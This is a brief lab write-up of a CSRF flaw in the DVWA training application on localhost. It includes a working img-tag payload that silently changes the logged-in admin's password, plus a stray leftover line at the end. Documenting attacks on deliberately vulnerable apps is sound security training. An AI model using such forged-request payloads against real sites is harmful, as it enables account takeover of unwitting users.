dvwa_csrf.md 2025-09-27

DVWA – Cross-Site Request Forgery (CSRF) – Low

Target: http://127.0.0.1/dvwa/vulnerabilities/csrf/

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Severity: High

Summary

The password change endpoint lacks CSRF protections. A logged-in user's browser will execute a password change request initiated from another site, allowing unauthorized password change.

PoC (reproducible)

Prereq: Logged in as admin with DVWA Security = low.

Payload A (GET via image):

```
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?
password_new=hacked&password_conf=hacked&Change=Change" />
```Evidence:
![csrf screenshot](dvwa_csrf.png)
close the here-string and write the file
```